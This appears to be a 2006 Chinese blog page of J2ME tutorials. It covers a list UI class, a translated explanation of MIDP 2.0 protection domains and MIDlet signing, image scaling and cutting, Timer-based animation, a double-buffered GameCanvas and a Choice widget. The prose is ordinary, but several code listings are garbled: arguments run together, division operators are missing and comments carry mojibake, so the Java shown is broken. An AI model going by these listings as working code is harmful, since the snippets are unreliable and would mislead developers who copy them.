
  99.         for(int i =startIndex,j=0; i< size; i++, j++){  

  100.                

  101.             String it = (String) items.elementAt(i);          

  102.               

  103.             if(this.selectIndex == j){  

  104.                 it = (String) items.elementAt(selectIndex+startIndex);  

  105.                 //this.select.paint(view[X], height, view[WIDTH],it.getItemHeight(),g);  

  106.             }else{  

  107.                    

  108.             }  

  109.             GraphicsUtil.darwString(g,it, view[X] + 10, view[Y] + space *j + 2);  

  110.             // 变化的高度  

  111.                

  112.         }    

  113.     }  

  114.     private void paintSelect(Graphics g, int height) {  

  115.         g.setColor(0x909090);  

  116.         g.fillRect(view[X], height, view[WIDTH], space);  

  117.     }  

  118.   

  119.     public void onClick(int keyCode) {  

  120.         keyUpAndDown(keyCode);  

  121.     }  

  122.   

  123.     /** 

  124.      * 内部实现按钮向上向下时候的动作,有具体类的keyPress调用. 

  125.      *  

  126.      * @param keyCode 

  127.      */  

  128.     void keyUpAndDown(int keyCode) {  

  129.         if(this.numOfEls == 0)  

  130.             return;  

  131.         switch (keyCode) {  

  132.       

  133.         case Platform.KEY_UP: {  

  134.             selectIndex--;  

  135.                

  136.          break;  

  137.                 

  138.                

  139.         }  

  140.         case Platform.KEY_DOWN: {  

  141.             selectIndex++;  

  142.                

  143.              break;  

  144.         }  

  145.         }  

  146.         changeSelectIndex();  

  147.     }  

  148.       

  149.     /** 

  150.      * 判断当前选择条是否到了底部,经过用户的选择,这些选择条会不断的变化

     变化的依据是当selectPosition >=
     

  151.      * viewPart[HEIGHT]*/  

  152.     private void changeSelectIndex(){  

  153.         int num = (this.paintSize < numOfEls)?paintSize:numOfEls;//取可显示的菜单项数目  

  154.         if (selectIndex>num-1)  

  155.         {  

  156.             startIndex++;  

  157.             selectIndex=(byte)(num-1);  

  158.         }  

  159.           

  160.         if (selectIndex < 0)  

  161.         {  

  162.             if (startIndex>0)  

  163.             {  

  164.                 selectIndex =0;  

  165.                 startIndex--;  

  166.             }  

  167.             else  

  168.             {  

  169.                 startIndex = numOfEls-num;  

  170.                 selectIndex=num-1;  

  171.             }  

  172.               

  173.         }  

  174.         if (startIndex+ selectIndex > numOfEls -1)  

  175.         {  

  176.             startIndex= 0;  

  177.             selectIndex = 0;  

  178.         }  

  179.     }  

  180.   

  181. }  


posted @ 2006-12-30 09:24 路是爬出来的 阅读(144) | 评论 (0)编辑 收藏

MIDP 2.0安全机制 与 MIDlet 数字签名(转自j2medev)

本篇文章转自www.j2medev.com/bbs/dispbbs.asp
















MIDP 2.0安全机制 与 MIDlet 数字签名

 

          本文档是 WoTrust 根据 Forum Nokia 提供的技术文档《MIDP 2.0: Tutorial On Signed MIDlets》翻译整理的,请同时参考此英文原文文档。请用户在编写 MIDlet 和签名 MIdlet 之前阅读此文档,以便对 MIDP2.0 的安全机制有一个深刻的理解,有助于用户能用好 MIDlet 代码签名证书。


 一、概述


    MIDP2.0 采用了全新的安全机制,这对于需要调用一个敏感的(重要的)函数和 API 的 MIDlet 开发者来讲是必须了解的,如:网络连接 API 、消息 API 和推 (Push) 函数等,还有一些可选的 MIDP 包也有许多受限制的 API 。


    虽然购买代码签名证书需要费 用,但签名 MIDlet 对开发者来讲是收益非浅的,因为许多受保护的 API 都是需要签名的,以保护开发者和用户的利益。当然,有些应用是不需要签名的,如有些不需要联网的仅用到一些图形 API 的小游戏软件。但一些重要的应用,如:连接网络、发送短消息 ( 短信和彩信 ) 或访问移动终端 ( 智能手机、 PDA 等,以下简称为手机 ) 上的 PIM( 个人信息管理 ) 数据等等都需要签名。


    数字签名 MIDlet 的好处包括:


    (1) 基于 MIDlet 的安全策略,某些功能是必须签名才能使用的,而有些功能虽然不签名也可以使用,但必须要求用户在使用时确认和修改其安全策略,如:写用户数据缺省是不允许没有签名的 MIDlet 操作的;


    (2) 基于手机的系统安全和移动网络的安全考虑,某些手机制造商、移动运营商等可能拒绝没有签名的 MIDlet 在手机上安装和运行;


    (3) 大大改善用户体验,让用户使用方便,使得用户不会遭遇调用受保护 API 时的安全警告的烦恼;


    (4) 出于安全考虑,安装没有签名的 MIDlet 是会有安全警告的,而相反,安装已经签名的 MIDlet 则不会出现烦人的警告,手机会自动验证签名而顺利地安装成功;


    (5) 已经签名的 MIDlet 将使得用户能改善其低安全策略设置,提高手机的安全性;


    (6) 确保已经签名的 MIDlet 不会被非法篡改和非法盗用。


二、 MIDP 2.0 安全机制


    MIDP 是一个开放的平台,使得任何人都可以为支持 MIDP 的设备开发各种应用软件,一般都是移动终端设备。 MIDlet 套件可以以匿名方式通过网络下载,非常方便,但这也会带来许多安全问题和隐私信息保护问题,用户会问: MIDlet 能把用户的个人信息发给不知道的服务器吗?会自动产生没有授权的呼叫或短消息而给用户带来费用吗?恶意软件会破坏手机?等等。


     除了 Java 语言的安全特性外, MIDP 还增加了许多安全考虑。 MIDP 2.0 比 MIDP 1.0 增强了安全策略,把 API 分为普通 API 和敏感 API ,如:通过  HTTP 协议访问移动网络,由于会给用户产生费用, 所以被列为 敏感 API 。 MIDlet 2.0 推出了可信任 MIDlet(trusted) 和不可信任 MIDlet(untrusted) 的概念,一个不可信任 MIDlet 只能访问有限的 API ,同时还需要用户手动确认并修改其安全策略;而可信任 MIDlet 则自动继承系统中的安全策略而获得访问许可。


     许可 (Permissions) 用于需要身份认证的 敏感 API 。 MIDP 2.0 要求调用 敏感 API 之前必须获得必要的许可,这些许可包的命名同 J2SE 许可,如: HTTP 连接许可同样称为: javax.microedition.io.Connector.http 。 有关许可的文档同意归类在受保护 API 中。


2.1 Protection Domains( 保护域 )


     保护域是 MIDP 2.0 中一个非常重要的安全概念,一个保护域就是一个许可集和一种交互模式,这些许可既可以是自己继承的,也可能是用户设置的,前者称为允许 (allowed) ,而后者称为用户允许 (user permission) 。当一个 MIDlet 被安装后,它被分配到一个指定的保护域而获得它的许可和交互模式。


    而用户允许则需要用户自己决定是否同意,用户既拒绝一个许可,也可以同意。用户允许有 3 种交互模式: blanket( 普遍适用 ) 、 session( 短期适用 ) 和 oneshot( 本次适用 ) , 普遍适用 模式就是 MIDlet 安装时获得的许可一直有效,除非用户取消这些许可;而 短期适用 模式则是指第一次调用 API 时需要用户允许,有效期到此 MIDlet 套件运行结束;而 本次适用 模式则在每次调用 API 时都要求用户允许。保护域为用户许可定义了缺省的交互模式。


    一个 MIDlet 套件使用 MIDlet-Permissions MIDlet-Permissions-Opt 属性来明确地定义其许可,可以是在 JAD 文件中定义,也可以在 manifest 文件中定义。其中: MIDlet-Permissions 定义了 MIDlet 套件中必须具有的许可,而 MIDlet-Permissions-Opt 则定义希望具有的许可。如:一个应用软件的基本要求是要有 http 连接才能正常工作,同时,也可以使用 https 连接 ( 服务器部署了 SSL 证书 ) 来增强安全性,但不是必须的,这样,这个应用软件的应用描述可以是这样:


        MIDlet-Permissions: javax.microedition.io.Connector.http


        MIDlet-Permissions-Opt: javax.microedition.io.Connector.https


     请注意:一个 MIDlet 所要求的许可必须是安装时分配的保护域所具有的许可的子集。如: Nokia S60 MIDP Emulator Prototype 2.0 (SDK) 有一个叫做“ minimum ”的域,此域没有任何许可。所以,如果一个含有许多许可的已经签名的 MIDlet 如果被安装到此域,则会安装失败,因为此域不支持这些许可。同样,如果一个许可的名称有拼写错误,则一样会导致安装失败,因为域中没有此拼写错误的许可。


    MIDP 2.0 为 GSM/UTMS 设备定义了 4 种保护域: manufacturer( 设备制造商 ) , operator( 移动运营商 ) , trusted third party( 可信任的第三方 ) , and untrusted( 不受信任域 ) , 除了 untrusted 域外,每个保护域都对应一组根证书,用于签名 MIDlet 的签名证书的根证书必须包含在这些根证书中,使用不同的签名证书签名的 MIDlet 将被自动归类予根证书所属的保护域,根证书与保护域的关系是:一个保护域可以有许多个根证书,而一个根证书只能对应于一个保护域。


    具体来讲, manufacturer 域属于设备制造商,其根证书是设备制造商自己的根证书;而 operator 域运营商,一般使用其 SIM 卡中的根证书;而 trusted third party 域则预置了全球知名的数字证书颁发机构 (CA) 的根证书,用于验证由 CA 颁发的 MIDlet 签名证书;而 untrusted 域没有根证书,将用于没有签名的 MIDlet 和 MIDP 1.0 。


    Thawte 和 VeriSign 的根证书已经预置在 trusted third party 域 中,其 Java 代码签名证书可以用于签名 MIDlet 。当然,用户也可以选择使用设备制造商和移动运营商颁发的证书,只要其根证书已经包含在手机的 4 个保护域中。据 WoTrust 了解,大多数摩托罗拉 (Motorola) 手机只支持设备制造商域,所以,只能向 Motorola 申请签名服务了。


    请注意:由于 MIDP 2.0 也在不断地修改和增补,所以,可能不用的移动网络运营商有不同的保护域和许可,用户可能需要向移动运营商了解详细信息。而最简单的方法是检查目标用户所使用的手机的根证书是否有计划购买的 MIDlet 签名证书的根证书。


2.2 Untrusted MIDlet ( 不受信任的 MIDlet)


    MIDP 2.0 定义了那些 API 是 untrusted 的,这些 Jar 文件的来源和完整性是不能被手机验证的。但这并不意味着这些 MIDlet 不能被安装和运行,而是运行这些 MIDlet 需要用户人工确认允许。而所有 MIDP 1.0 的 MIDlets 都被定义为 untrusted


    untrusted 的 MIDlets 只能调用一个不需要许可保护的 API ,如:

        java.util

        java.lang

        java.io

        javax.microedition.rms

        javax.microedition.midlet

        javax.microedition.lcdui

        javax.microedition.lcdui.game

        javax.microedition.media

        javax.microedition.media.control


     如果 untrusted MIDlet 套件试图调用一个被保护的 API 而且没有被人工允许,则会产生一个 SecurityException 而被 MIDlet 按照安全策略处理。请注意: Nokia 的 UI API 是不被保护的,包括类: com.nokia.mid.sound 和 com.nokia.mid.ui 。


2.3 Trusted MIDlets ( 可信任的 MIDlets)


     如果手机能验证 MIDlet 的身份和完整性 ( 也就是已经数字签名 ) ,则会自动分配一个合适的保护 域这种 MIDlet 套件就称为可信任的 MIDlet 。一个可信任的 MIDlet 套件所要求的许可将被准许,只要所属的保护域拥有这种许可,假如许可: javax.microedition.io.Connector.http 已经在所属保护域中是允许的,则 MIDlet 在打开一个 http 连接时是不需要用户确认的。


    请不要混淆了可信任的 MIDlet 套件和可信任的保护域的不同,每个可信任的 MIDlet 套件依据安全策略被分配到一个特定的保护域。


     您需要使用一个手机中已经预置的根证书的证书颁发机构颁发的代码签名证书来签名 MIDlet ,否则将不能通过身份验证。成功签名后的 JAD 文件中一定会包含有整个签名证书的证书链,属性名称为: MIDlet-Certificate-1-1 就是您的签名证书,而 MIDlet-Certificate-1-2 就是 CA 的中级根证书,而 MIDlet-Certificate-1-3 就是 CA 的顶级根证书。同时还会有一个 MIDlet-Jar-RSA-SHA1 属性就是 JAR 文件的摘要。


    当一个 MIDlet 被下载或被安装时, MIDlet 应用管理器首先会检查 JAD 文件中是否包含了 MIDlet-Jar-RSA-SHA1 属 性,如果有,则启动如下验证过程:首先会读出 MIDlet-Certificate-1-1 、 MIDlet-Certificate-1-2 和 MIDlet-Certificate-1-3 属性中的证书,并与已经预置的根证书相比较,如果证书链能被根证书验证,则表明开发者身份已经被验证。接着就会使用用户证书来解密 MIDlet-Jar-RSA-SHA1 属 性的摘要,再计算出已经下载的 Jar 文件的摘要,比较两个摘要是否相等,如果相等,则表明 MIDlet 代码自签名后没有被修改。这样,既验证了身份又检查了完整性的 MIDlet 会被分配到所属根证书所对应的保护域中。但是,如果 MIDlet 中的许可属性 ( MIDlet-Permissions ) 中有一个或多个不属于所属的保护域,则仍然不允许安装。而如果 MIDlet 中的可选许可属性 ( MIDlet-Permissions-Opt ) 中有一个或多个不属于所属的保护域,会允许安装。可见,正确设置许可属性和可选许可属性非常重要。


2.4 Function Groups ( 功能分组 )


     为了简化用户管理操作, MIDlet 把一些类似功能分组,这样,用户只需对功能组设置许可即可。如:许可 “Net Access”( 网络访问 ) 组来代替许可 javax.microedition.io.Connector.http ,这对于简化手机的交互操作非常有用。


    MIDP 2.0 和 JTWI 定义了如下 7 个功能组:


    (1) Net Access: 包括所有网络连接许可;


    (2) Messaging: 包括所有与发送和接收短消息 ( 短信和彩信 等 ) 相关的许可;


    (3) Auto Invocation : 包括与自动启动 MIDlet 相关的许可,如: Push Registration


    (4) Local Connectivity : 包括与本地连接相关的许可,如: IrDA 或 蓝牙;


    (5) Multimedia Recording : 包括与允许录音、照相、摄像等相关的许可;


    (6) Read User Data : 包括读取用户数据相关的许可,如:通讯录、日程表等;


    (7) Write User Data : 包括写用户数据相关的许可。


    不同的手机支持不同的功能组,如: Multimedia Recording 就不会包含在没有摄录装置的手机中。当然,也有可能将来会增加更多的功能组。


     功能组也同时定义了不同的域的不同交互方式,如:在不信任域, “Net Access” ( 网络访问 ) 被设置为 session( 短期适用 ) 或 denied( 拒绝 ) ,而在可信任域则可以设置为 oneshot 、 blanket 和 denied 的。


三、仿真器和手机的缺省安全设置


    让我们来看看具体的使用 Thawte 或 VeriSign 代码签名证书签名后的 MIDlet 在 trusted third party 域中的所有缺省许可,如下图 1 所示,点击 NDS 3.0 的“ Config Emulators ”就可以看到仿真器在 trusted third party 域的缺省安全设置是“ Ask first time ”,即第 1 次使用是需要确认:


图片点击可在新窗口打开查看


    如下图 2 所示,您可以下拉所有功能组的许可设置,如“ Network Access ”就有 4 个选项可以修改: Ask first time 、 Ask every time 、 Always allowed 和 Not allowed :


图片点击可在新窗口打开查看


     而如下图 3 所示,在“ Real Life ”模式,也就是实际手机的运行模式,可以看出:定义的 7 个功能组都是“ Always allowed ” ( 总是允许 ) ,这就显示出 MIDlet 签名对于开发商来讲是多么的重要,将大大方便了用户的使用,再也不需要用户操作烦人的系列确认了。


图片点击可在新窗口打开查看


posted @ 2006-12-30 09:24 路是爬出来的 阅读(105) | 评论 (0)编辑 收藏

再次贡献j2meUI设计源代码

         要贡献就贡献的彻底,代码里面很多bug,写的很乱,请大家见谅。希望大家可以多学习交流。

posted @ 2006-12-30 09:24 路是爬出来的 阅读(129) | 评论 (0)编辑 收藏

如何在MIDP中实现图片放缩(转自linuxmine)

      设计游戏的朋友经常会遇到对图片资源的操作。今天浏览web发现此贴不错。所以抄过这边来

原文:www.linuxmine.com/45911.html







无论在midp1.0还是在 midp2.0中,系统都没有给我们提供对图片进行伸缩操作的api.但是其实我们只要在程序代码中略施小计,就能达到这个效果,只是效果要比美术做出来 的图片,呵呵,差多啦,同时也会造成性能损失。伸缩图片的构造原理就是简单沿x,y轴按比例放缩,比如说我们需要把一张16*16的png图片转化成一张 32*32的图片,那么我们可以先对该图片做一个水平方向上的拉伸操作,然后再把水平拉伸后的图片按垂直方向再做一次拉伸操作。做拉伸操作时,比如水平方 向上,我们需要构造一张32*16的mutable Image,获取其Graphics,利用该Graphics,绘制该mutable Graphics的每一列像素,这一列像素就来自于原始图片中的按比例对应的某一列像素。垂直方向上的拉伸操作也是如法炮制。因为是一种按比例的对应关 系,图像的缩小操作也可按该办法进行。



效果如下图所示

 


原始图片


 


图片放大为全屏幕大小




图片缩小为原来的1/4大小




好了,我们来看代码

java 代码


 


  1. import javax.microedition.lcdui.Graphics;  

  2. import javax.microedition.lcdui.Image;  

  3.   

  4. /** 

  5. * 图像工具类 

  6. * @author Jagie 

  7. * 

  8. */  

  9.   

  10. public class ImageUtil {  

  11.   

  12. /** 

  13. * 图像放缩方法 

  14. * @param srcImage 原始的Image对象 

  15. * @param newW 放缩后的Image的宽度 

  16. * @param newH 放缩后的Image的高度 

  17. * @return 放缩后的Image对象 

  18. */  

  19.   

  20. public static final Image scale (Image srcImage, int newW, int newH) {  

  21. int srcW = srcImage.getWidth();  

  22. int srcH = srcImage.getHeight();  

  23. //先做水平方向上的伸缩变换  

  24. Image tmp = Image.createImage(newW, srcH);  

  25. Graphics g = tmp.getGraphics();  

  26.   

  27. for (int x = 0; x < newW; x++) {  

  28. g.setClip(x, 01, srcH);  

  29. //按比例放缩  

  30. g.drawImage(srcImage,x-x*srcWnewW,0,Graphics.LEFT | Graphics.TOP);  

  31.   

  32. }  

  33.   

  34. //再做垂直方向上的伸缩变换  

  35. Image dst = Image.createImage(newW, newH);  

  36. g = dst.getGraphics();  

  37.   

  38. for (int y = 0; y < newH; y++) {  

  39. g.setClip(0, y, newW, 1);  

  40. //按比例放缩  

  41. g.drawImage(tmp,0,y-y*srcHnewH,Graphics.LEFT | Graphics.TOP);  

  42.   

  43. }  

  44.   

  45. return dst;  

  46. }  

  47.   

  48.   

  49. }  

  50.   

  51. 也许有同学会提出疑问,既然是按x,y方向按等比例放缩,那我写成这样岂不是代码更简洁:  

  52.   

  53. public static final Image scale2(Image srcImage, int newW, int newH) {  

  54. int srcW = srcImage.getWidth();  

  55. int srcH = srcImage.getHeight();  

  56.   

  57. Image dst=Image.createImage(newW,newH);  

  58. Graphics g=dst.getGraphics();  

  59. for (int x = 0; x < newW; x++) {  

  60. for (int y = 0; y < newH; y++) {  

  61. g.setClip(x, y, 11);  

  62. g.drawImage(srcImage, x-x*srcWnewW, y - y * srcH / newH, Graphics.LEFT  

  63. | Graphics.TOP);  

  64.   

  65. }  

  66.   

  67. }  

  68.   

  69. return dst;  

  70. }  







这种做法效果上和前者无异,但是并不可取,只要算算它的时间复杂度就知道,基本上是前者的平方。在我的机器上,做一次全屏幕的放缩操作,前者耗时60ms,而后者耗时7150ms。







其实上面的做法很简单,以后有需求可以整理成一个控件,这样就可以很方便的调用,与学习。

posted @ 2006-12-30 09:24 路是爬出来的 阅读(82) | 评论 (0)编辑 收藏

设计可组装的j2me UI(六) Dialog(对话框)

     摘要:       高级UI提供了一个Alert的控件可以有弹出对话框的效果。但是大家想不想自己实现一个呢。想不想知道sun是如何让Alert工作的呢?好请看下文     设计思想是。建立一个 abstract   class Dialog extends Canvas。下面的事情就让我们一步步花出来吧。&nbs...  阅读全文

posted @ 2006-12-30 09:24 路是爬出来的 阅读(206) | 评论 (0)编辑 收藏

切割图片

      大家在设计游戏或者其他应用的时候,很多都要操作图片。众所周知。j2me程序不能太大,因为它有太多的限制。改怎么办呢,我的应用要求大量的图片。没关系,图片是死的,人是活的。我们始终都是有办法搞定的。高手们自己写个图片压缩的算法,我们这些水平一般的人只能踏实的做自己的事情了。

      1。通过工具压缩图片大小。比如把颜色植调小点,这样不仅效果在手机上不会差很多,还可以大大的缩小图片。

      2。把所有的图片绘制成一张大图片。然后通过程序来切割它,这样在操作上面会方便很多。

      下面我们来看看代码把

  

      

java 代码


 


  1. try { 


  2.            //创建源图片


  3.             source = Image.createImage("/p.png");   

  4.         } catch (IOException e) {  

  5.             log.error(e, "读取图片文件错误");  

  6.             System.exit(0); // 退出程序  

  7. }  



java 代码


 


  1. /** 

  2.  * 载入图片。切割图片资源 

  3.  */  

  4. public static final void loadImages() { 


  5.     //切割图片了。只要知道具体的位置,就什么都可以办到

  6.     MY_BOOK = Image.createImage(source, 63120220);  

  7.     NET_BOOK = Image.createImage(source, 632120220);  

  8.     ABOUT = Image.createImage(source, 556120220);  

  9.     HELP = Image.createImage(source, 17931120220);  

  10.     EXIT =  Image.createImage(source, 1794120220);  

  11.     ARROW = Image.createImage(source, 178571590);  

  12. }  





程序就这么简单。详细的例子可以看看我共享的关于电子阅读的基本框架

posted @ 2006-12-30 09:24 路是爬出来的 阅读(145) | 评论 (0)编辑 收藏

游戏中动画的基础

        这篇文章是纯粹的个人看法。

        游戏的基础是动画,想来大家都知道。这几天公司的项目都忙完了。很是无聊,所以就上网找了些资源,并写两个动画的例子。在此贴出来,让大家把砖头砸我吧。^_^    

        j2me midp2.0有个game的包是用来设计有游戏用的。它提供了游戏设计的基础控件,比如双缓冲,精灵,图层控制器等基础设施,这些设施可以方便我们的设计,比如双缓冲可以让游戏执行流畅,精灵等,可以更好的控制角色。

       说白了。动画的效果其实就是一幅幅图片按照指定的时间一幅幅的换图片而已。

       好了。看代码吧。

java 代码


 


  1.    

  2. package org.wuhua.game.timer;  

  3.   

  4. import java.util.Timer;  

  5. import java.util.TimerTask;  

  6.   

  7. /** 

  8.  *  对Timer的包装 

  9.  * @author wuhua 

     
     

  10.  */  

  11. public class TimerTaskManager {  

  12.     private Timer _timer;  

  13.   

  14.     static TimerTaskManager instace;  

  15.   

  16.     public static TimerTaskManager getInstace() {  

  17.         if (instace == null)  

  18.             instace = new TimerTaskManager();  

  19.         return instace;  

  20.     }  

  21.   

  22.     public TimerTask add(Runnable runnable, long period) {  

  23.         TimerTask task = new RunnableTimerTask(runnable);  

  24.         long delay = period;  

  25.         getTimer().schedule(task, delay, period);  

  26.         return task;  

  27.     }  

  28.   

  29.     void close() {  

  30.         if (_timer != null) {  

  31.             _timer.cancel();  

  32.             _timer = null;  

  33.         }  

  34.     }  

  35.   

  36.     private Timer getTimer() {  

  37.         if (_timer == null)  

  38.             _timer = new Timer();  

  39.         return _timer;  

  40.     }  

  41.   

  42.     static class RunnableTimerTask extends TimerTask {  

  43.         private Runnable _runnable;  

  44.   

  45.         RunnableTimerTask(Runnable runnable) {  

  46.             _runnable = runnable;  

  47.         }  

  48.   

  49.         public void run() {  

  50.             _runnable.run();  

  51.         }  

  52.     }  

  53. }  



java 代码


 


  1.    

  2. package org.wuhua.game;  

  3.   

  4. import java.io.IOException;  

  5. import java.util.TimerTask;  

  6.   

  7. import javax.microedition.lcdui.Canvas;  

  8. import javax.microedition.lcdui.Graphics;  

  9. import javax.microedition.lcdui.Image;  

  10.   

  11. import org.wuhua.game.timer.TimerTaskManager;  

  12.   

  13.    

  14.   

  15. /** 

  16.  * 动画的主类 

  17.  * @author wuhua 

     
     

  18.  */  

  19. public class Game extends Canvas implements Runnable{  

  20.   

  21.     private Image source;  

  22.     private Image action[] = new Image[10];  

  23.     private int bgcolor = 0x209C00;  

  24.     private TimerTask task;  

  25.     private static int next;  

  26.     Game(){  

  27.         try {  

  28.             source = Image.createImage("/action.png");  

  29.         } catch (IOException e) {  

  30.                

  31.             e.printStackTrace();  

  32.         }  

  33.         //切割图片  

  34.         for(int i=0; i<5; i++){  

  35.             action[i] = Image.createImage(source, 96*i, 096600);  

  36.         }  

  37.           

  38.         for(int j=5; j<10; j++){  

  39.             action[j] = Image.createImage(source, 96*(j-5), 10296800);  

  40.         }  

  41.           

  42.         //这个是用来执行动作的计时器。原理是要求经过0.2毫秒动一次  

  43.         task = TimerTaskManager.getInstace().add(this150);   

  44.     }  

  45.     protected void paint(Graphics g) {  

  46.         fillScreen(g);  

  47.          paintAction(g);  

  48.   

  49.     }  

  50.     private void fillScreen(Graphics g) {  

  51.         g.setColor(0xFFFFFF);  

  52.         g.fillRect(00this.getWidth(), this.getHeight());  

  53.           

  54.     }  

  55.     private void paintAction(Graphics g) {  

  56.         if(next == 10)  

  57.             next =0;  

  58.         //如果绘制的图片是出雷电的时候,让人物停留在那里。这样的效果会好点  

  59.         if(next>=5){  

  60.             g.drawImage(action[4], 10*40, Graphics.LEFT|Graphics.TOP);  

  61.         }  

  62.         g.drawImage(action[next], 10*next, 0, Graphics.LEFT|Graphics.TOP);  

  63.           

  64.            

  65.         next++;  

  66.           

  67.     }  

  68.     public void run() {  

  69.         repaint();  

  70.           

  71.     }  

  72.       

  73.       

  74.   

  75. }  


posted @ 2006-12-30 09:24 路是爬出来的 阅读(152) | 评论 (0)编辑 收藏

关于j2me game双缓冲实现探讨

      双缓冲技术的应用很广泛,设计游戏的时候更是需要它,

     在midp1.0中,api中并没有game这个包,看到网上很多人在讨论设计游戏的时候会出现图片断裂,屏幕闪烁等问题。

     我经过这几天的学习整理下自己的学习心得,用来抛砖,希望对此有研究高手们相互讨论。让我也学习学习。

    

     双缓冲的原理可以这样形象的理解:把电脑屏幕看作一块黑板。首先我们在内存环境中建立一个“虚拟“的黑板,然后在这块黑板上绘制复杂的图形,等图形全部绘 制完毕的时候,再一次性的把内存中绘制好的图形“拷贝”到另一块黑板(屏幕)上。采取这种方法可以提高绘图速度,极大的改善绘图效果。

    对于手机来说。具体的过程就是通过extends Canvas。然后获取bufferImage。再然后就getGraphics。最后就是在这个graphics中绘制图片等,再最后就是把这个绘制好的bufferImage绘制的屏幕上。

     说归说。具体还是要看代码的。里面的代码参照了一些开源的代码。

java 代码


 


  1. /******************************************************************** 

  2.  * 项目名称             :足球项目j2me客户端         

     

  3.  *  

  4.  * Copyright 2005-2006 Teesoo. All rights reserved 

  5.  ********************************************************************/  

  6. package org.wuhua.game;  

  7.   

  8. import javax.microedition.lcdui.Canvas;  

  9. import javax.microedition.lcdui.Graphics;  

  10. import javax.microedition.lcdui.Image;  

  11.   



  12.  

  13.   

  14. /** 

  15.  * 类名:GameCanvas.java 

     编写日期: 2006-11-29 

     程序功能描述:
     

  16.  * 实现双缓冲的Game画布。实现原理是创建一个BufferImage。然后绘制,最后显示出来。就这么简单。

     Demo: 

     Bug:
     

  17.  * 

     

  18.  *  

  19.  * 程序变更日期 :

     变更作者 :

     变更说明 :

     

  20.  *  

  21.  * @author wuhua 

     
     

  22.  */  

  23. public abstract class GameCanvas extends Canvas {  

  24.   

  25.     /** 

  26.      * 绘制缓冲的图片。用户绘制资源的时候都是操作这个图片来进行的 

  27.      */  

  28.     private Image bufferImage;  

  29.   

  30.     private int height;  

  31.   

  32.     private int width;  

  33.   

  34.     private int clipX, clipY, clipWidth, clipHeight;  

  35.   

  36.     private boolean setClip;  

  37.   

  38.     protected GameCanvas() {  

  39.   

  40.         super();  

  41.   

  42.         width = getWidth();  

  43.         height = getHeight();  

  44.   

  45.         this.bufferImage = Image.createImage(width, height);  

  46.   

  47.     }  

  48.   

  49.     protected void paint(Graphics g) {  

  50.         //如果要求绘制指定区域的话就需要这样了  

  51.         if (this.setClip) {  

  52.             g.clipRect(this.clipX, this.clipY, this.clipWidth, this.clipHeight);  

  53.             this.setClip = false;  

  54.         }  

  55.         g.drawImage(this.bufferImage, 00, Graphics.TOP | Graphics.LEFT);  

  56.   

  57.     }  

  58.   

  59.     public void flushGraphics(int x, int y, int width, int height) {  

  60.         this.setClip = true;  

  61.         this.clipX = x;  

  62.         this.clipY = y;  

  63.         this.clipWidth = width;  

  64.         this.clipHeight = height;  

  65.   

  66.         repaint();  

  67.         serviceRepaints();  

  68.     }  

  69.   

  70.     public void flushGraphics() {  

  71.         repaint();  

  72.         serviceRepaints();  

  73.     }  

  74.   

  75.     /** 

  76.      * 设计者主要是通过调用这个方法获取图片。然后就可以绘制了 

  77.      * @return 

  78.      */  

  79.     protected Graphics getGraphics() {  

  80.         return this.bufferImage.getGraphics();  

  81.     }  

  82.   

  83.     /** 

  84.      * 这个方法主要是处理Nokia平台,用户调用setFullScreenMode(boolean enable) 时重新按照新的w & h创建缓冲图片 

  85.      */  

  86.     protected final void sizeChanged(int w, int h) {  

  87.         if (h > height) {  

  88.             this.bufferImage = Image.createImage(w, h);  

  89.         }  

  90.     }  

  91. }  


posted @ 2006-12-30 09:24 路是爬出来的 阅读(273) | 评论 (0)编辑 收藏

设计可组装的j2me UI(七) Choice

   艾,不想解释了。贴代码算了

java 代码


 


  1. /******************************************************************** 

  2.  *  

  3.  * 版权说明,此程序仅供学习参考。不能用于商业 

  4.  *  

  5.  ********************************************************************/  

  6. package org.pook.ui;  

  7.   

  8. import javax.microedition.lcdui.Graphics;  

  9. import javax.microedition.lcdui.Image;  

  10.   

  11. import org.pook.ui.core.Platform;  

  12.    

  13.    

  14.   

  15. /** 

  16.  * <b>类名:ChoiceGroup.java</b> </br>  

  17.  * 编写日期: 2006-9-19 <br/> 

  18.  * 程序功能描述�? 本Class是一个多选择列表,因为项目的原�?,此列表是�?个固定形式的<br/> 

  19.  * 可以在Form上进行添加删�?,只不过表现形式固�?<br/> 

  20.  * Demo: <br/> 

  21.  * Bug: <br/> 

  22.  *  

  23.  * 程序变更日期 �?<br/>  

  24.  * 变更作�?? �?<br/>  

  25.  * 变更说明 �?<br/> 

  26.  *  

  27.  * @author wuhua </br> <a href="mailto:rrq12345@163.com">rrq12345@163.com</a> 

  28.  */  

  29. public class Choice extends Part {  

  30.       

  31.        

  32.     private boolean  select;  

  33.       

  34.     /** 显示选择状�?? */  

  35.     private Image[] imageElements;  

  36.    

  37.    

  38.       

  39.     public Choice(String label,  

  40.             Image[] imageElements, boolean  select) {  

  41.         super(0000);  

  42.         if(label == null)  

  43.             label = "";  

  44.         this.label = label;  

  45.         this.select = select;  

  46.         this.imageElements = imageElements;  

  47.        

  48.     }  

  49.   

  50.        

  51.     public void paint(Graphics g) {  

  52.         paintChoiceImpl(g);  

  53.   

  54.     }  

  55.   

  56.     private void paintChoiceImpl(Graphics g) {  

  57.        

  58.         paintChoice(g);  

  59.           

  60.     }  

  61.   

  62.       

  63.       

  64.     private void paintChoice(Graphics g) {  

  65.         g.drawImage(select?imageElements[0]:imageElements[1],view[X], view[Y],  

  66.                     Graphics.TOP|Graphics.LEFT);  

  67.         paintLabel(g);  

  68.           

  69.     }  

  70.     private void paintLabel(Graphics g) {  

  71.         if(label.equals(""))  

  72.             return;  

  73.         g.setColor(fontColor);  

  74.         g.drawString(label,view[X] + imageElements[0].getWidth() + 4, view[Y]-2, Graphics.TOP | Graphics.LEFT);  

  75.           

  76.         if(hasFocus)  

  77.             paintSelect(g);  

  78.     }  

  79.       

  80.        

  81.   

  82.     /** 绘制选择�? **/  

  83.     private void paintSelect(Graphics g) {  

  84.         g.drawRect(view[X] - 1, view[Y]  - 1,   

  85.                    imageElements[0].getWidth()  + 1,  

  86.                   imageElements[0].getHeight() + 1);  

  87.                    

  88.           

  89.     }  

  90.   

  91.   

  92.     public void onClick(int keyCode) {  

  93.         if(keyCode == Platform.KEY_ENTER   

  94.                 && hasFocus)  

  95.             select = !select;  

  96.   

  97.     }  

  98.   

  99.   

  100.     public boolean isSelect() {  

  101.         return select;  

  102.     }  

  103.   

  104.   

  105.     public void setSelect(boolean select) {  

  106.         this.select = select;  

  107.     }  

  108.   

  109. }  


posted @ 2006-12-30 09:24 路是爬出来的 阅读(370) | 评论 (0)编辑 收藏

我设计的入门游戏-弱智雷电

